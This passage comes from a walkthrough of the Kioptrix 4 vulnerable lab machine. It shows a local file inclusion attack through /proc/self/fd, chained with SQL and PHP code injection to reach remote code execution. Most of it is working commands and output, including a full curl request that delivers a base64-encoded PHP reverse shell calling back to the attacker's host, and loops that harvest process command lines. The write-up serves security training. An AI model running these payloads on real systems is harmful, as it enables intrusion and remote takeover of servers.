  • checked to make sure the root account was back at the top of /etc/passwd
  • verified I still had uid/gid 0 (root)


Using LFI + /proc

There are lots of ways to take advantage of Local File Inclusion (LFI) vulnerabilities. Some of the ways specific to PHP can be found here:
https://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/

One that is of interest in our case is the ability to access file descriptors under /proc/self/fd (self = the currently running process). These file descriptors are numbered starting at 0 and might contain useful information or allow us to execute remote code (by writing to the file descriptor and then loading its content using our LFI vulnerability).

I used the following loop + curl command to check file descriptors between 0 and 255 for the currently running process (i.e., apache).

root@kali:~/Walkthroughs/kioptrix4/lfi_test# for i in $(seq 0 255); do curl -so $i.html -b "PHPSESSID=537eff2e1387de1eaf0dbb44b91cde53" "http://10.183.0.216/member.php?username=/proc/self/fd/$i%00"; done

When we remove the responses that contain the "Oups" error...

root@kali:~/Walkthroughs/kioptrix4/lfi_test# grep -i Oups *.html | cut -d ':' -f 1 | sort -u | xargs rm

...and the "failed to open stream" error...

root@kali:~/Walkthroughs/kioptrix4/lfi_test# grep -i 'failed to open stream' * | cut -d ':' -f 1 | sort -u | xargs rm

...we are left with one file.

root@kali:~/Walkthroughs/kioptrix4/lfi_test# cat 9.html
myusername|s:4:"john";mypassword|s:11:"%' or 1=1 #";

Looks like file descriptor 9 contains the variables and values submitted through the login form. Let's see if we can submit PHP code in the 'mypassword' field and use file descriptor 9 to access it and have it run system commands for us.

We'll submit the following in the password field...

%' or 1=1 # <?php echo system(id); ?>

Then, checking our file descriptor...

root@kali:~/Walkthroughs/kioptrix4/lfi_test# curl -b "PHPSESSID=537eff2e1387de1eaf0dbb44b91cde53" "http://10.183.0.216/member.php?username=/proc/self/fd/9%00"
myusername|s:4:"john";mypassword|s:37:"%' or 1=1 # uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=33(www-data) gid=33(www-data) groups=33(www-data)";

Nice! We have remote code execution through the LFI vulnerability. From here it would be pretty easy to launch a reverse shell...

...by submitting the following...

%' or 1=1 # <?php eval(base64_decode(***PHP_REVERSE_SHELL_BASE64_FROM_MSFVENOM***)); ?>

...URL encoded and sent via curl...

curl -b "PHPSESSID=537eff2e1387de1eaf0dbb44b91cde53" -d "myusername=john&mypassword=%25%27%20or%201%3D1%20%23%20%3C%3Fphp%20eval%28base64_decode%28ICAgIC8qPD9waHAgLyoqLwogICAgICBAZXJyb3JfcmVwb3J0aW5nKDApOwogICAgICBAc2V0X3RpbWVfbGltaXQoMCk7IEBpZ25vcmVfdXNlcl9hYm9ydCgxKTsgQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7CiAgICAgICRkaXM9QGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7CiAgICAgIGlmKCFlbXB0eSgkZGlzKSl7CiAgICAgICAgJGRpcz1wcmVnX3JlcGxhY2UoJy9bLCBdKy8nLCAnLCcsICRkaXMpOwogICAgICAgICRkaXM9ZXhwbG9kZSgnLCcsICRkaXMpOwogICAgICAgICRkaXM9YXJyYXlfbWFwKCd0cmltJywgJGRpcyk7CiAgICAgIH1lbHNlewogICAgICAgICRkaXM9YXJyYXkoKTsKICAgICAgfQogICAgICAKICAgICRpcGFkZHI9JzEwLjE4My4wLjIyMic7CiAgICAkcG9ydD00NDQ7CgogICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygncGFJSGF0UVdrdGx4am0nKSl7CiAgICAgIGZ1bmN0aW9uIHBhSUhhdFFXa3RseGptKCRjKXsKICAgICAgICBnbG9iYWwgJGRpczsKICAgICAgICAKICAgICAgaWYgKEZBTFNFICE9PSBzdHJwb3Moc3RydG9sb3dlcihQSFBfT1MpLCAnd2luJyApKSB7CiAgICAgICAgJGM9JGMuIiAyPiYxXG4iOwogICAgICB9CiAgICAgICRoTnhlPSdpc19jYWxsYWJsZSc7CiAgICAgICRtdURxbT0naW5fYXJyYXknOwogICAgICAKICAgICAgaWYo.JGhOeGUoJ3NoZWxsX2V4ZWMnKWFuZCEkbXVEcW0oJ3NoZWxsX2V4ZWMnLCRkaXMpKXsKICAgICAgICAkbz1zaGVsbF9leGVjKCRjKTsKICAgICAgfWVsc2UKICAgICAgaWYoJGhOeGUoJ2V4ZWMnKWFuZCEkbXVEcW0oJ2V4ZWMnLCRkaXMpKXsKICAgICAgICAkbz1hcnJheSgpOwogICAgICAgIGV4ZWMoJGMsJG8pOwogICAgICAgICRvPWpvaW4oY2hyKDEwKSwkbykuY2hyKDEwKTsKICAgICAgfWVsc2UKICAgICAgaWYoJGhOeGUoJ3Byb2Nfb3BlbicpYW5kISRtdURxbSgncHJvY19vcGVuJywkZGlzKSl7CiAgICAgICAgJGhhbmRsZT1wcm9jX29wZW4oJGMsYXJyYXkoYXJyYXkoJ3BpcGUnLCdyJyksYXJyYXkoJ3BpcGUnLCd3JyksYXJyYXkoJ3BpcGUnLCd3JykpLCRwaXBlcyk7CiAgICAgICAgJG89TlVMTDsKICAgICAgICB3aGlsZSghZmVvZigkcGlwZXNbMV0pKXsKICAgICAgICAgICRvLj1mcmVhZCgkcGlwZXNbMV0sMTAyNCk7CiAgICAgICAgfQogICAgICAgIEBwcm9jX2Nsb3NlKCRoYW5kbGUpOwogICAgICB9ZWxzZQogICAgICBpZigkaE54ZSgnc3lzdGVtJylhbmQhJG11RHFtKCdzeXN0ZW0nLCRkaXMpKXsKICAgICAgICBvYl9zdGFydCgpOwogICAgICAgIHN5c3RlbSgkYyk7CiAgICAgICAgJG89b2JfZ2V0X2NvbnRlbnRzKCk7CiAgICAgICAgb2JfZW5kX2NsZWFuKCk7CiAgICA.gIH1lbHNlCiAgICAgIGlmKCRoTnhlKCdwYXNzdGhydScpYW5kISRtdURxbSgncGFzc3RocnUnLCRkaXMpKXsKICAgICAgICBvYl9zdGFydCgpOwogICAgICAgIHBhc3N0aHJ1KCRjKTsKICAgICAgICAkbz1vYl9nZXRfY29udGVudHMoKTsKICAgICAgICBvYl9lbmRfY2xlYW4oKTsKICAgICAgfWVsc2UKICAgICAgaWYoJGhOeGUoJ3BvcGVuJylhbmQhJG11RHFtKCdwb3BlbicsJGRpcykpewogICAgICAgICRmcD1wb3BlbigkYywncicpOwogICAgICAgICRvPU5VTEw7CiAgICAgICAgaWYoaXNfcmVzb3VyY2UoJGZwKSl7CiAgICAgICAgICB3aGlsZSghZmVvZigkZnApKXsKICAgICAgICAgICAgJG8uPWZyZWFkKCRmcCwxMDI0KTsKICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgQHBjbG9zZSgkZnApOwogICAgICB9ZWxzZQogICAgICB7CiAgICAgICAgJG89MDsKICAgICAgfQogICAgCiAgICAgICAgcmV0dXJuICRvOwogICAgICB9CiAgICB9CiAgICAkbm9mdW5jcz0nbm8gZXhlYyBmdW5jdGlvbnMnOwogICAgaWYoaXNfY2FsbGFibGUoJ2Zzb2Nrb3BlbicpYW5kIWluX2FycmF5KCdmc29ja29wZW4nLCRkaXMpKXsKICAgICAgJHM9QGZzb2Nrb3BlbigidGNwOi8vMTAuMTgzLjAuMjIyIiwkcG9ydCk7CiAgICAgIHdoaWxlKCRjPWZyZWFkKCRzLDIwNDgpKXsKICAgICAgICAkb3V0ID0.gJyc7CiAgICAgICAgaWYoc3Vic3RyKCRjLDAsMykgPT0gJ2NkICcpewogICAgICAgICAgY2hkaXIoc3Vic3RyKCRjLDMsLTEpKTsKICAgICAgICB9IGVsc2UgaWYgKHN1YnN0cigkYywwLDQpID09ICdxdWl0JyB8fCBzdWJzdHIoJGMsMCw0KSA9PSAnZXhpdCcpIHsKICAgICAgICAgIGJyZWFrOwogICAgICAgIH1lbHNlewogICAgICAgICAgJG91dD1wYUlIYXRRV2t0bHhqbShzdWJzdHIoJGMsMCwtMSkpOwogICAgICAgICAgaWYoJG91dD09PWZhbHNlKXsKICAgICAgICAgICAgZndyaXRlKCRzLCRub2Z1bmNzKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGZ3cml0ZSgkcywkb3V0KTsKICAgICAgfQogICAgICBmY2xvc2UoJHMpOwogICAgfWVsc2V7CiAgICAgICRzPUBzb2NrZXRfY3JlYXRlKEFGX0lORVQsU09DS19TVFJFQU0sU09MX1RDUCk7CiAgICAgIEBzb2NrZXRfY29ubmVjdCgkcywkaXBhZGRyLCRwb3J0KTsKICAgICAgQHNvY2tldF93cml0ZSgkcywic29ja2V0X2NyZWF0ZSIpOwogICAgICB3aGlsZSgkYz1Ac29ja2V0X3JlYWQoJHMsMjA0OCkpewogICAgICAgICRvdXQgPSAnJzsKICAgICAgICBpZihzdWJzdHIoJGMsMCwzKSA9PSAnY2QgJyl7CiAgICAgICAgICBjaGRpcihzdWJzdHIoJGMsMywtMSkpOwogICAgICAgIH0gZWxzZS.BpZiAoc3Vic3RyKCRjLDAsNCkgPT0gJ3F1aXQnIHx8IHN1YnN0cigkYywwLDQpID09ICdleGl0JykgewogICAgICAgICAgYnJlYWs7CiAgICAgICAgfWVsc2V7CiAgICAgICAgICAkb3V0PXBhSUhhdFFXa3RseGptKHN1YnN0cigkYywwLC0xKSk7CiAgICAgICAgICBpZigkb3V0PT09ZmFsc2UpewogICAgICAgICAgICBAc29ja2V0X3dyaXRlKCRzLCRub2Z1bmNzKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIEBzb2NrZXRfd3JpdGUoJHMsJG91dCxzdHJsZW4oJG91dCkpOwogICAgICB9CiAgICAgIEBzb2NrZXRfY2xvc2UoJHMpOwogICAgfQo%29%29%3B%20%3F%3E&Submit=Login" "http://10.183.0.216/checklogin.php"

Then running it by hitting the file descriptor.

root@kali:~/Walkthroughs/kioptrix4# curl -b "PHPSESSID=537eff2e1387de1eaf0dbb44b91cde53" "http://10.183.0.216/member.php?username=/proc/self/fd/9%00"

Other interesting things we can get using proc include:

The full command used to launch the process (/proc/self/cmdline)...

root@kali:~/Walkthroughs/kioptrix4/lfi_test# curl -s -b "PHPSESSID=537eff2e1387de1eaf0dbb44b91cde53" "http://10.183.0.216/member.php?username=/proc/self/cmdline%00" | xxd
00000000: 2f75 7372 2f73 6269 6e2f 6170 6163 6865  /usr/sbin/apache
00000010: 3200 2d6b 0073 7461 7274 000a            2.-k.start..

NOTE: I'm piping the output to xxd for display purposes only (because curl doesn't like to spew binary data to the terminal). You could dump the info to a file and look at it there too.

The status of the process (/proc/self/status), including the actual PID and parent PID...

root@kali:~/Walkthroughs/kioptrix4/lfi_test# curl -s -b "PHPSESSID=537eff2e1387de1eaf0dbb44b91cde53" "http://10.183.0.216/member.php?username=/proc/self/status%00" > status
root@kali:~/Walkthroughs/kioptrix4/lfi_test# cat status
Name:   apache2
State:  R (running)
Tgid:   4776
Pid:    4776
PPid:   4740
TracerPid:      0
Uid:    33      33      33      33
Gid:    33      33      33      33
FDSize: 32
Groups: 33
VmPeak:    20596 kB
VmSize:    20596 kB
VmLck:         0 kB
VmHWM:      5592 kB
VmRSS:      5592 kB
VmData:     3120 kB
VmStk:        84 kB
VmExe:       332 kB
VmLib:     16080 kB
VmPTE:        48 kB
Threads:        1
SigQ:   0/4096
SigPnd: 0000000000000000
ShdPnd: 0000000000000000
SigBlk: 0000000000000000
SigIgn: 0000000000001000
SigCgt: 000000018c0046eb
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
Cpus_allowed:   01
Mems_allowed:   1
voluntary_ctxt_switches:        227
nonvoluntary_ctxt_switches:     1

You could even mine out data about all the running processes (including config files and possible passwords passed on the command line) by looping through a range of PIDs.

root@kali:~/Walkthroughs/kioptrix4/lfi_test# for i in $(seq 4000 5000); do curl -o $i -s -b "PHPSESSID=537eff2e1387de1eaf0dbb44b91cde53" "http://10.183.0.216/member.php?username=/proc/$i/cmdline%00"; done